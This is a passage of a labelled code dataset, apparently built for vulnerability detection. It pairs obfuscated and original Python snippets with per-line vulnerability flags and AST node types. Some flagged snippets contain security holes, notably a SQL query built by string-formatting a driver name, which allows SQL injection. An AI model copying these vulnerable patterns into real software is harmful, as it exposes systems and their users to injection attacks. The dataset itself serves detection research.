"print('no results')\n",
"print(z)\n",
"return render_template('noResults.html', query=query)\n",
"years = [int(y) for y in year]\n",
"r = [(y, list(a[2] for a in [b for b in z if b[1] == y])) for y in [0, 1, 2]]\n",
"print('r=')\n",
"print(r)\n",
"print('years=' + str(years))\n",
"return render_template('chartdemoResult.html', ipedssectornames=\n ipedssectornames, query=query, years=years, z=z, r=r)\n"
] | [
0,
0,
0,
0,
4,
4,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Condition",
"Condition",
"Return'",
"Expr'",
"Assign'",
"Assign'",
"Assign'",
"AugAssign'",
"AugAssign'",
"AugAssign'",
"Expr'",
"Assign'",
"Expr'",
"Condition",
"Expr'",
"Expr'",
"Return'",
"Assign'",
"Assign'",
"Expr'",
"Expr'",
"Expr'",
"Return'"
] |
[
"def FUNC_11(VAR_5, VAR_7):...\n",
"VAR_29 = None\n",
"VAR_8 = {'Authorization': 'token ' + os.environ['GITHUB_TOKEN']}\n",
"VAR_9 = os.environ['BOT_USERNAME'], os.environ['BOT_PASSWORD']\n",
"VAR_30 = 'https://api.github.com/repos/{}/issues/{}/comments'\n",
"VAR_30 = VAR_30.format(VAR_5['repository'], str(VAR_5['pr_number']))\n",
"VAR_27 = requests.get(VAR_30, VAR_8=headers, VAR_9=auth).json()\n",
"VAR_31 = None\n",
"for old_comment in VAR_27:\n",
"if old_comment['user']['id'] == 24736507:\n",
"if VAR_31 is None:\n",
"VAR_31 = old_comment['id']\n",
"VAR_53 = requests.post(VAR_30, json={'body': comment}, VAR_8=headers, VAR_9\n =auth)\n",
"VAR_54 = datetime.datetime.utcnow()\n",
"VAR_5['comment_response'] = VAR_53.json()\n",
"VAR_55 = VAR_54.strftime('%B %d, %Y at %H:%M Hours UTC')\n",
"VAR_7 += \"\"\"\n\n##### Comment last updated on {}\"\"\"\n",
"VAR_7 = VAR_7.format(VAR_55)\n",
"VAR_30 = 'https://api.github.com/repos/{}/issues/comments/{}'\n",
"VAR_30 = VAR_30.format(VAR_5['repository'], str(VAR_31))\n",
"VAR_53 = requests.patch(VAR_30, json={'body': comment}, VAR_8=headers,\n VAR_9=auth)\n"
] | [
"def create_or_update_comment(data, comment):...\n",
"comment_mode = None\n",
"headers = {'Authorization': 'token ' + os.environ['GITHUB_TOKEN']}\n",
"auth = os.environ['BOT_USERNAME'], os.environ['BOT_PASSWORD']\n",
"query = 'https://api.github.com/repos/{}/issues/{}/comments'\n",
"query = query.format(data['repository'], str(data['pr_number']))\n",
"comments = requests.get(query, headers=headers, auth=auth).json()\n",
"last_comment_id = None\n",
"for old_comment in comments:\n",
"if old_comment['user']['id'] == 24736507:\n",
"if last_comment_id is None:\n",
"last_comment_id = old_comment['id']\n",
"response = requests.post(query, json={'body': comment}, headers=headers,\n auth=auth)\n",
"utc_time = datetime.datetime.utcnow()\n",
"data['comment_response'] = response.json()\n",
"time_now = utc_time.strftime('%B %d, %Y at %H:%M Hours UTC')\n",
"comment += \"\"\"\n\n##### Comment last updated on {}\"\"\"\n",
"comment = comment.format(time_now)\n",
"query = 'https://api.github.com/repos/{}/issues/comments/{}'\n",
"query = query.format(data['repository'], str(last_comment_id))\n",
"response = requests.patch(query, json={'body': comment}, headers=headers,\n auth=auth)\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"For",
"Condition",
"Condition",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"AugAssign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'"
] |
[
"def FUNC_18(self, VAR_10, VAR_1=None, VAR_65=None):...\n",
"VAR_100 = CLASS_2(self, VAR_10, VAR_1, VAR_65)\n",
"self._subworkflows[VAR_10] = VAR_100\n",
"self.globals[VAR_10] = VAR_100.target\n"
] | [
"def subworkflow(self, name, snakefile=None, workdir=None):...\n",
"sw = Subworkflow(self, name, snakefile, workdir)\n",
"self._subworkflows[name] = sw\n",
"self.globals[name] = sw.target\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'"
] |
[
"@mock.patch('requests.post', FUNC_0)...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_4 = '/api/apps'\n",
"VAR_5 = self.client.post(VAR_4)\n",
"self.assertEqual(VAR_5.status_code, 201)\n",
"VAR_6 = VAR_5.data['id']\n",
"VAR_4 = '/api/apps/{app_id}/builds'.format(**locals())\n",
"VAR_7 = {'image': 'autotest/example'}\n",
"VAR_5 = self.client.post(VAR_4, json.dumps(VAR_7), content_type=\n 'application/json')\n",
"self.assertEqual(VAR_5.status_code, 201)\n",
"VAR_13 = Build.objects.get(uuid=response.data['uuid'])\n",
"self.assertEqual(str(VAR_13), '{}-{}'.format(VAR_5.data['app'], VAR_5.data[\n 'uuid'][:7]))\n"
] | [
"@mock.patch('requests.post', mock_import_repository_task)...\n",
"\"\"\"docstring\"\"\"\n",
"url = '/api/apps'\n",
"response = self.client.post(url)\n",
"self.assertEqual(response.status_code, 201)\n",
"app_id = response.data['id']\n",
"url = '/api/apps/{app_id}/builds'.format(**locals())\n",
"body = {'image': 'autotest/example'}\n",
"response = self.client.post(url, json.dumps(body), content_type=\n 'application/json')\n",
"self.assertEqual(response.status_code, 201)\n",
"build = Build.objects.get(uuid=response.data['uuid'])\n",
"self.assertEqual(str(build), '{}-{}'.format(response.data['app'], response.\n data['uuid'][:7]))\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Condition",
"Docstring",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Expr'"
] |
[
"def FUNC_18(self):...\n",
"VAR_26 = []\n",
"def FUNC_25(VAR_14, VAR_27, VAR_28):...\n",
"VAR_26.append((VAR_14, VAR_27.splitlines()[0], VAR_28))\n",
"self.mock(bot_main, 'post_error_task', FUNC_25)\n",
"def FUNC_24(VAR_25, VAR_23, *VAR_24):...\n",
"if VAR_23 == 'on_after_task':\n",
"VAR_50, VAR_51, VAR_5, VAR_52 = VAR_24\n",
"self.mock(bot_main, 'call_hook', FUNC_24)\n",
"self.assertEqual(False, VAR_50)\n",
"def FUNC_26(*VAR_29, **VAR_30):...\n",
"self.assertEqual(True, VAR_51)\n",
"self.mock(subprocess42, 'Popen', FUNC_26)\n",
"self.assertEqual({'pool': 'default'}, VAR_5)\n",
"VAR_19 = {'command': ['echo', 'hi'], 'dimensions': {'pool': 'default'},\n 'grace_period': 30, 'hard_timeout': 60, 'task_id': '24'}\n",
"self.assertEqual({}, VAR_52)\n",
"bot_main.run_manifest(self.bot, VAR_19, time.time())\n",
"VAR_6 = [(self.bot, 'Internal exception occured: Dang', '24')]\n",
"self.assertEqual(VAR_6, VAR_26)\n"
] | [
"def test_run_manifest_exception(self):...\n",
"posted = []\n",
"def post_error_task(botobj, msg, task_id):...\n",
"posted.append((botobj, msg.splitlines()[0], task_id))\n",
"self.mock(bot_main, 'post_error_task', post_error_task)\n",
"def call_hook(_botobj, name, *args):...\n",
"if name == 'on_after_task':\n",
"failure, internal_failure, dimensions, summary = args\n",
"self.mock(bot_main, 'call_hook', call_hook)\n",
"self.assertEqual(False, failure)\n",
"def raiseOSError(*_a, **_k):...\n",
"self.assertEqual(True, internal_failure)\n",
"self.mock(subprocess42, 'Popen', raiseOSError)\n",
"self.assertEqual({'pool': 'default'}, dimensions)\n",
"manifest = {'command': ['echo', 'hi'], 'dimensions': {'pool': 'default'},\n 'grace_period': 30, 'hard_timeout': 60, 'task_id': '24'}\n",
"self.assertEqual({}, summary)\n",
"bot_main.run_manifest(self.bot, manifest, time.time())\n",
"expected = [(self.bot, 'Internal exception occured: Dang', '24')]\n",
"self.assertEqual(expected, posted)\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"FunctionDef'",
"Expr'",
"Expr'",
"FunctionDef'",
"Condition",
"Assign'",
"Expr'",
"Expr'",
"FunctionDef'",
"Expr'",
"Expr'",
"Expr'",
"Assign'",
"Expr'",
"Expr'",
"Assign'",
"Expr'"
] |
[
"import sqlite3\n",
"def __init__(self, VAR_0):...\n",
"self.cursor = VAR_0\n",
"self.rides = []\n",
"def FUNC_0(self, VAR_1):...\n",
"VAR_6 = 'string'.format(VAR_1=driver)\n",
"self.cursor.execute(VAR_6)\n",
"self.rides = self.cursor.fetchall()\n",
"def FUNC_1(self, VAR_2):...\n",
"VAR_7 = self.rides[VAR_2 * 5:min(VAR_2 * 5 + 5, len(self.rides))]\n",
"for ride in VAR_7:\n",
"print(str(ride[0]) + '.', end='')\n",
"if VAR_2 * 5 + 5 < len(self.rides):\n",
"print(ride)\n",
"VAR_10 = input('string')\n",
"VAR_10 = input(\n \"To book a member on a ride, please enter 'b'. To exit, press 'e': \")\n",
"if VAR_10 == 'y':\n",
"if VAR_10 == 'b':\n",
"self.display_rides(VAR_2 + 1)\n",
"def FUNC_2(self):...\n",
"self.book_ride()\n",
"VAR_6 = 'SELECT MAX(bno) FROM bookings'\n",
"self.cursor.execute(VAR_6)\n",
"VAR_8 = self.cursor.fetchone()\n",
"return int(VAR_8[0]) + 1\n"
] | [
"import sqlite3\n",
"def __init__(self, cursor):...\n",
"self.cursor = cursor\n",
"self.rides = []\n",
"def find_rides(self, driver):...\n",
"query = (\n \"\"\"\n SELECT r.rno, r.price, r.rdate, r.seats, r.lugDesc, r.src, r.dst, r.driver, r.cno, r.seats-COUNT(b.bno) \n FROM rides r, bookings b\n WHERE driver = '{driver}'\n AND r.rno = b.bno \n GROUP BY r.rno, r.price, r.rdate, r.seats, r.lugDesc, r.src, r.dst, r.driver, r.cno\n \"\"\"\n .format(driver=driver))\n",
"self.cursor.execute(query)\n",
"self.rides = self.cursor.fetchall()\n",
"def display_rides(self, page_num):...\n",
"page = self.rides[page_num * 5:min(page_num * 5 + 5, len(self.rides))]\n",
"for ride in page:\n",
"print(str(ride[0]) + '.', end='')\n",
"if page_num * 5 + 5 < len(self.rides):\n",
"print(ride)\n",
"user_input = input(\n \"To book a member on a ride, please enter 'b'. To see more rides, please enter 'y'. To exit, press 'e': \"\n )\n",
"user_input = input(\n \"To book a member on a ride, please enter 'b'. To exit, press 'e': \")\n",
"if user_input == 'y':\n",
"if user_input == 'b':\n",
"self.display_rides(page_num + 1)\n",
"def generate_bno(self):...\n",
"self.book_ride()\n",
"query = 'SELECT MAX(bno) FROM bookings'\n",
"self.cursor.execute(query)\n",
"max_bno = self.cursor.fetchone()\n",
"return int(max_bno[0]) + 1\n"
] | [
0,
0,
0,
0,
0,
4,
4,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Import'",
"FunctionDef'",
"Assign'",
"Assign'",
"FunctionDef'",
"Assign'",
"Expr'",
"Assign'",
"FunctionDef'",
"Assign'",
"For",
"Expr'",
"Condition",
"Expr'",
"Assign'",
"Assign'",
"Condition",
"Condition",
"Expr'",
"FunctionDef'",
"Expr'",
"Assign'",
"Expr'",
"Assign'",
"Return'"
] |
[
"def FUNC_4(self, VAR_2):...\n",
"VAR_2.deliverBody(CLASS_0(self.messages_to_wait_for, self.events_deferred,\n VAR_2))\n"
] | [
"def on_event_socket_opened(self, response):...\n",
"response.deliverBody(EventDataProtocol(self.messages_to_wait_for, self.\n events_deferred, response))\n"
] | [
0,
0
] | [
"FunctionDef'",
"Expr'"
] |
[
"def FUNC_14(self):...\n",
"return self.CurrentFiletypeCompletionEnabled(\n ) and self.NativeFiletypeCompletionAvailable()\n"
] | [
"def NativeFiletypeCompletionUsable(self):...\n",
"return self.CurrentFiletypeCompletionEnabled(\n ) and self.NativeFiletypeCompletionAvailable()\n"
] | [
0,
0
] | [
"FunctionDef'",
"Return'"
] |
[
"import sys\n",
"import logging\n",
"import sqlalchemy as sa\n",
"from . import filters\n",
"from sqlalchemy.orm import joinedload\n",
"from sqlalchemy.exc import IntegrityError\n",
"from sqlalchemy import func\n",
"from sqlalchemy.orm.properties import SynonymProperty\n",
"from ..base import BaseInterface\n",
"from ..group import GroupByDateYear, GroupByDateMonth, GroupByCol\n",
"from ..mixins import FileColumn, ImageColumn\n",
"from ...filemanager import FileManager, ImageManager\n",
"from ..._compat import as_unicode\n",
"from ...const import LOGMSG_ERR_DBI_ADD_GENERIC, LOGMSG_ERR_DBI_EDIT_GENERIC, LOGMSG_ERR_DBI_DEL_GENERIC, LOGMSG_WAR_DBI_ADD_INTEGRITY, LOGMSG_WAR_DBI_EDIT_INTEGRITY, LOGMSG_WAR_DBI_DEL_INTEGRITY\n",
"VAR_0 = logging.getLogger(__name__)\n",
"def FUNC_0(VAR_1):...\n",
"for key in VAR_6.__all__:\n",
"if not hasattr(VAR_1, key):\n",
"\"\"\"\n SQLAModel\n Implements SQLA support methods for views\n \"\"\"\n",
"setattr(VAR_1, key, getattr(VAR_6, key))\n",
"VAR_3 = None\n",
"VAR_4 = VAR_6.SQLAFilterConverter\n",
"def __init__(self, VAR_1, VAR_3=None):...\n",
"FUNC_0(self)\n",
"self.list_columns = dict()\n",
"self.list_properties = dict()\n",
"self.session = VAR_3\n",
"for VAR_36 in sa.orm.class_mapper(VAR_1).iterate_properties:\n",
"if type(VAR_36) != SynonymProperty:\n",
"for VAR_14 in VAR_1.__mapper__.columns.keys():\n",
"self.list_properties[VAR_36.key] = VAR_36\n",
"if VAR_14 in self.list_properties:\n",
"super(CLASS_0, self).__init__(VAR_1)\n",
"self.list_columns[VAR_14] = VAR_1.__mapper__.columns[VAR_14]\n",
"@property...\n",
"\"\"\"docstring\"\"\"\n",
"return self.obj.__name__\n"
] | [
"import sys\n",
"import logging\n",
"import sqlalchemy as sa\n",
"from . import filters\n",
"from sqlalchemy.orm import joinedload\n",
"from sqlalchemy.exc import IntegrityError\n",
"from sqlalchemy import func\n",
"from sqlalchemy.orm.properties import SynonymProperty\n",
"from ..base import BaseInterface\n",
"from ..group import GroupByDateYear, GroupByDateMonth, GroupByCol\n",
"from ..mixins import FileColumn, ImageColumn\n",
"from ...filemanager import FileManager, ImageManager\n",
"from ..._compat import as_unicode\n",
"from ...const import LOGMSG_ERR_DBI_ADD_GENERIC, LOGMSG_ERR_DBI_EDIT_GENERIC, LOGMSG_ERR_DBI_DEL_GENERIC, LOGMSG_WAR_DBI_ADD_INTEGRITY, LOGMSG_WAR_DBI_EDIT_INTEGRITY, LOGMSG_WAR_DBI_DEL_INTEGRITY\n",
"log = logging.getLogger(__name__)\n",
"def _include_filters(obj):...\n",
"for key in filters.__all__:\n",
"if not hasattr(obj, key):\n",
"\"\"\"\n SQLAModel\n Implements SQLA support methods for views\n \"\"\"\n",
"setattr(obj, key, getattr(filters, key))\n",
"session = None\n",
"filter_converter_class = filters.SQLAFilterConverter\n",
"def __init__(self, obj, session=None):...\n",
"_include_filters(self)\n",
"self.list_columns = dict()\n",
"self.list_properties = dict()\n",
"self.session = session\n",
"for prop in sa.orm.class_mapper(obj).iterate_properties:\n",
"if type(prop) != SynonymProperty:\n",
"for col_name in obj.__mapper__.columns.keys():\n",
"self.list_properties[prop.key] = prop\n",
"if col_name in self.list_properties:\n",
"super(SQLAInterface, self).__init__(obj)\n",
"self.list_columns[col_name] = obj.__mapper__.columns[col_name]\n",
"@property...\n",
"\"\"\"docstring\"\"\"\n",
"return self.obj.__name__\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Import'",
"Import'",
"Import'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"Assign'",
"FunctionDef'",
"For",
"Condition",
"Expr'",
"Expr'",
"Assign'",
"Assign'",
"FunctionDef'",
"Expr'",
"Assign'",
"Assign'",
"Assign'",
"For",
"Condition",
"For",
"Assign'",
"Condition",
"Expr'",
"Assign'",
"Condition",
"Docstring",
"Return'"
] |
[
"def FUNC_12(VAR_16, VAR_19):...\n",
"if isinstance(VAR_16, CLASS_1):\n",
"return VAR_19 in VAR_16.flags\n",
"return False\n"
] | [
"def is_flagged(value, flag):...\n",
"if isinstance(value, AnnotatedString):\n",
"return flag in value.flags\n",
"return False\n"
] | [
0,
0,
7,
0
] | [
"FunctionDef'",
"Condition",
"Return'",
"Return'"
] |
[
"def FUNC_7(VAR_6, VAR_7, VAR_8):...\n",
"if VAR_7 not in VAR_6.headers:\n",
"return False\n",
"if VAR_6.headers[VAR_7] == VAR_8:\n",
"return True\n",
"return False\n"
] | [
"def validate_security_header(page, header, expected_value):...\n",
"if header not in page.headers:\n",
"return False\n",
"if page.headers[header] == expected_value:\n",
"return True\n",
"return False\n"
] | [
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Return'",
"Condition",
"Return'",
"Return'"
] |
[
"def FUNC_27(VAR_6):...\n",
"if callable(VAR_6):\n",
"return VAR_6()\n"
] | [
"def default_encode(value):...\n",
"if callable(value):\n",
"return value()\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Return'"
] |
[
"@VAR_0.route('/logout')...\n",
"VAR_10.clear()\n",
"flash('You are now logged out', 'success')\n",
"return redirect(url_for('login'))\n"
] | [
"@app.route('/logout')...\n",
"session.clear()\n",
"flash('You are now logged out', 'success')\n",
"return redirect(url_for('login'))\n"
] | [
0,
0,
0,
0
] | [
"Condition",
"Expr'",
"Expr'",
"Return'"
] |
[
"def FUNC_8(self, VAR_9, VAR_7=False, VAR_10=None):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_29 = self.output if VAR_7 else self.input\n",
"if isinstance(VAR_9, str):\n",
"if isinstance(VAR_9, _IOFile):\n",
"if callable(VAR_9):\n",
"self.dependencies[VAR_9] = VAR_9.rule\n",
"VAR_44 = IOFile(VAR_9, VAR_16=self)\n",
"if VAR_7:\n",
"VAR_48 = len(VAR_29)\n",
"if is_flagged(VAR_9, 'temp'):\n",
"VAR_29.append(VAR_9)\n",
"for VAR_51 in VAR_9:\n",
"if not VAR_7:\n",
"if is_flagged(VAR_9, 'protected'):\n",
"if VAR_10:\n",
"self._set_inoutput_item(VAR_51, VAR_7=output)\n",
"if VAR_10:\n",
"self.temp_output.add(VAR_44)\n",
"if not VAR_7:\n",
"if is_flagged(VAR_9, 'touch'):\n",
"VAR_29.add_name(VAR_10)\n",
"VAR_29.set_name(VAR_10, VAR_48, end=len(inoutput))\n",
"self.protected_output.add(VAR_44)\n",
"if not VAR_7:\n",
"if is_flagged(VAR_9, 'dynamic'):\n",
"self.touch_output.add(VAR_44)\n",
"if VAR_7:\n",
"if is_flagged(VAR_9, 'subworkflow'):\n",
"self.dynamic_output.add(VAR_44)\n",
"self.dynamic_input.add(VAR_44)\n",
"if VAR_7:\n",
"VAR_29.append(VAR_44)\n",
"self.subworkflow_input[VAR_44] = VAR_9.flags['subworkflow']\n",
"if VAR_10:\n",
"VAR_29.add_name(VAR_10)\n"
] | [
"def _set_inoutput_item(self, item, output=False, name=None):...\n",
"\"\"\"docstring\"\"\"\n",
"inoutput = self.output if output else self.input\n",
"if isinstance(item, str):\n",
"if isinstance(item, _IOFile):\n",
"if callable(item):\n",
"self.dependencies[item] = item.rule\n",
"_item = IOFile(item, rule=self)\n",
"if output:\n",
"start = len(inoutput)\n",
"if is_flagged(item, 'temp'):\n",
"inoutput.append(item)\n",
"for i in item:\n",
"if not output:\n",
"if is_flagged(item, 'protected'):\n",
"if name:\n",
"self._set_inoutput_item(i, output=output)\n",
"if name:\n",
"self.temp_output.add(_item)\n",
"if not output:\n",
"if is_flagged(item, 'touch'):\n",
"inoutput.add_name(name)\n",
"inoutput.set_name(name, start, end=len(inoutput))\n",
"self.protected_output.add(_item)\n",
"if not output:\n",
"if is_flagged(item, 'dynamic'):\n",
"self.touch_output.add(_item)\n",
"if output:\n",
"if is_flagged(item, 'subworkflow'):\n",
"self.dynamic_output.add(_item)\n",
"self.dynamic_input.add(_item)\n",
"if output:\n",
"inoutput.append(_item)\n",
"self.subworkflow_input[_item] = item.flags['subworkflow']\n",
"if name:\n",
"inoutput.add_name(name)\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Condition",
"Condition",
"Condition",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Condition",
"Expr'",
"For",
"Condition",
"Condition",
"Condition",
"Expr'",
"Condition",
"Expr'",
"Condition",
"Condition",
"Expr'",
"Expr'",
"Expr'",
"Condition",
"Condition",
"Expr'",
"Condition",
"Condition",
"Expr'",
"Expr'",
"Condition",
"Expr'",
"Assign'",
"Condition",
"Expr'"
] |
[
"def __enter__(self):...\n",
"def FUNC_13(VAR_18, VAR_19):...\n",
"VAR_6 = {}\n",
"for id_, VAR_21 in enumerate(VAR_18.description):\n",
"VAR_6[VAR_21[0]] = VAR_19[id_]\n",
"return VAR_6\n"
] | [
"def __enter__(self):...\n",
"def dict_factory(cursor, row):...\n",
"dictionary = {}\n",
"for id_, column in enumerate(cursor.description):\n",
"dictionary[column[0]] = row[id_]\n",
"return dictionary\n"
] | [
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"FunctionDef'",
"Assign'",
"For",
"Assign'",
"Return'"
] |
[
"def FUNC_3(VAR_3):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_31 = openid.get_current_user(VAR_3)\n",
"return model.Identity(model.IDENTITY_USER, VAR_31.email) if VAR_31 else None\n"
] | [
"def openid_cookie_authentication(request):...\n",
"\"\"\"docstring\"\"\"\n",
"user = openid.get_current_user(request)\n",
"return model.Identity(model.IDENTITY_USER, user.email) if user else None\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Return'"
] |
[
"def FUNC_2():...\n",
"super(CLASS_4, self).__init__(slideParser.parse(VAR_10, slideLexer), VAR_2='\\n'\n )\n"
] | [
"def innerFunc():...\n",
"super(Column, self).__init__(slideParser.parse(txt, slideLexer), after='\\n')\n"
] | [
0,
0
] | [
"FunctionDef'",
"Expr'"
] |
[
"@rt.switch_runtime(fixtures.TEST_SITE_CONFIG, 'sys0')...\n",
"VAR_40 = self.create_test('t0')\n",
"VAR_41 = self.create_test('t1')\n",
"VAR_42 = self.create_test('t2')\n",
"VAR_43 = self.create_test('t3')\n",
"VAR_44 = self.create_test('t4')\n",
"VAR_41.depends_on('t0')\n",
"VAR_41.depends_on('t4')\n",
"VAR_42.depends_on('t1')\n",
"VAR_43.depends_on('t1')\n",
"VAR_43.depends_on('t2')\n",
"VAR_44.depends_on('t2')\n",
"VAR_44.depends_on('t3')\n",
"VAR_34 = dependency.build_deps(executors.generate_testcases([VAR_40, VAR_41,\n VAR_42, VAR_43, VAR_44]))\n",
"dependency.validate_deps(VAR_34)\n",
"assert 't4->t2->t1->t4' in str(exc_info.value) or 't2->t1->t4->t2' in str(\n exc_info.value) or 't1->t4->t2->t1' in str(exc_info.value\n ) or 't1->t4->t3->t1' in str(exc_info.value) or 't4->t3->t1->t4' in str(\n exc_info.value) or 't3->t1->t4->t3' in str(exc_info.value)\n"
] | [
"@rt.switch_runtime(fixtures.TEST_SITE_CONFIG, 'sys0')...\n",
"t0 = self.create_test('t0')\n",
"t1 = self.create_test('t1')\n",
"t2 = self.create_test('t2')\n",
"t3 = self.create_test('t3')\n",
"t4 = self.create_test('t4')\n",
"t1.depends_on('t0')\n",
"t1.depends_on('t4')\n",
"t2.depends_on('t1')\n",
"t3.depends_on('t1')\n",
"t3.depends_on('t2')\n",
"t4.depends_on('t2')\n",
"t4.depends_on('t3')\n",
"deps = dependency.build_deps(executors.generate_testcases([t0, t1, t2, t3, t4])\n )\n",
"dependency.validate_deps(deps)\n",
"assert 't4->t2->t1->t4' in str(exc_info.value) or 't2->t1->t4->t2' in str(\n exc_info.value) or 't1->t4->t2->t1' in str(exc_info.value\n ) or 't1->t4->t3->t1' in str(exc_info.value) or 't4->t3->t1->t4' in str(\n exc_info.value) or 't3->t1->t4->t3' in str(exc_info.value)\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Condition",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Expr'",
"Expr'",
"Expr'",
"Expr'",
"Expr'",
"Expr'",
"Assign'",
"Expr'",
"Assert'"
] |
[
"from __future__ import unicode_literals\n",
"from six import iteritems, string_types\n",
"\"\"\"build query for doclistview and return results\"\"\"\n",
"import frappe, json, copy, re\n",
"import frappe.defaults\n",
"import frappe.share\n",
"import frappe.permissions\n",
"from frappe.utils import flt, cint, getdate, get_datetime, get_time, make_filter_tuple, get_filter, add_to_date\n",
"from frappe import _\n",
"from frappe.model import optional_fields\n",
"from frappe.model.utils.user_settings import get_user_settings, update_user_settings\n",
"from datetime import datetime\n",
"def __init__(self, VAR_0):...\n",
"self.doctype = VAR_0\n",
"self.tables = []\n",
"self.conditions = []\n",
"self.or_conditions = []\n",
"self.fields = None\n",
"self.user = None\n",
"self.ignore_ifnull = False\n",
"self.flags = frappe._dict()\n",
"def FUNC_4(self, VAR_7=None, VAR_8=None, VAR_4=None, VAR_9=None, VAR_10=...\n",
"if not VAR_18 and not frappe.has_permission(self.doctype, 'read', VAR_19=user):\n",
"frappe.flags.error_message = _('Insufficient Permission for {0}').format(frappe\n .bold(self.doctype))\n",
"if isinstance(VAR_8, dict) or isinstance(VAR_8, list) and VAR_8 and isinstance(\n",
"VAR_4, VAR_8 = VAR_8, VAR_4\n",
"if VAR_8 and isinstance(VAR_4, list) and len(VAR_4) > 1 and isinstance(VAR_4\n",
"if VAR_8:\n",
"VAR_4, VAR_8 = VAR_8, VAR_4\n",
"self.fields = VAR_8\n",
"self.fields = ['`tab{0}`.`name`'.format(self.doctype)]\n",
"if VAR_23:\n",
"VAR_13 = VAR_23\n",
"if VAR_24:\n",
"VAR_14 = VAR_24\n",
"if VAR_25:\n",
"VAR_14 = VAR_25\n",
"self.filters = VAR_4 or []\n",
"self.or_filters = VAR_9 or []\n",
"self.docstatus = VAR_10 or []\n",
"self.group_by = VAR_11\n",
"self.order_by = VAR_12\n",
"self.limit_start = 0 if VAR_13 is False else cint(VAR_13)\n",
"self.limit_page_length = cint(VAR_14) if VAR_14 else None\n",
"self.with_childnames = VAR_16\n",
"self.debug = VAR_17\n",
"self.join = VAR_21\n",
"self.distinct = VAR_22\n",
"self.as_list = VAR_15\n",
"self.ignore_ifnull = VAR_26\n",
"self.flags.ignore_permissions = VAR_18\n",
"self.user = VAR_19 or frappe.session.user\n",
"self.update = VAR_29\n",
"self.user_settings_fields = copy.deepcopy(self.fields)\n",
"if VAR_31:\n",
"self.user_settings = json.loads(VAR_31)\n",
"if VAR_7:\n",
"VAR_39 = self.run_custom_query(VAR_7)\n",
"VAR_39 = self.build_and_run()\n",
"if VAR_20 and not VAR_15 and self.doctype:\n",
"self.add_comment_count(VAR_39)\n",
"if VAR_27:\n",
"self.save_user_settings_fields = VAR_28\n",
"return VAR_39\n",
"self.update_user_settings()\n"
] | [
"from __future__ import unicode_literals\n",
"from six import iteritems, string_types\n",
"\"\"\"build query for doclistview and return results\"\"\"\n",
"import frappe, json, copy, re\n",
"import frappe.defaults\n",
"import frappe.share\n",
"import frappe.permissions\n",
"from frappe.utils import flt, cint, getdate, get_datetime, get_time, make_filter_tuple, get_filter, add_to_date\n",
"from frappe import _\n",
"from frappe.model import optional_fields\n",
"from frappe.model.utils.user_settings import get_user_settings, update_user_settings\n",
"from datetime import datetime\n",
"def __init__(self, doctype):...\n",
"self.doctype = doctype\n",
"self.tables = []\n",
"self.conditions = []\n",
"self.or_conditions = []\n",
"self.fields = None\n",
"self.user = None\n",
"self.ignore_ifnull = False\n",
"self.flags = frappe._dict()\n",
"def execute(self, query=None, fields=None, filters=None, or_filters=None,...\n",
"if not ignore_permissions and not frappe.has_permission(self.doctype,\n",
"frappe.flags.error_message = _('Insufficient Permission for {0}').format(frappe\n .bold(self.doctype))\n",
"if isinstance(fields, dict) or isinstance(fields, list\n",
"filters, fields = fields, filters\n",
"if fields and isinstance(filters, list) and len(filters) > 1 and isinstance(\n",
"if fields:\n",
"filters, fields = fields, filters\n",
"self.fields = fields\n",
"self.fields = ['`tab{0}`.`name`'.format(self.doctype)]\n",
"if start:\n",
"limit_start = start\n",
"if page_length:\n",
"limit_page_length = page_length\n",
"if limit:\n",
"limit_page_length = limit\n",
"self.filters = filters or []\n",
"self.or_filters = or_filters or []\n",
"self.docstatus = docstatus or []\n",
"self.group_by = group_by\n",
"self.order_by = order_by\n",
"self.limit_start = 0 if limit_start is False else cint(limit_start)\n",
"self.limit_page_length = cint(limit_page_length) if limit_page_length else None\n",
"self.with_childnames = with_childnames\n",
"self.debug = debug\n",
"self.join = join\n",
"self.distinct = distinct\n",
"self.as_list = as_list\n",
"self.ignore_ifnull = ignore_ifnull\n",
"self.flags.ignore_permissions = ignore_permissions\n",
"self.user = user or frappe.session.user\n",
"self.update = update\n",
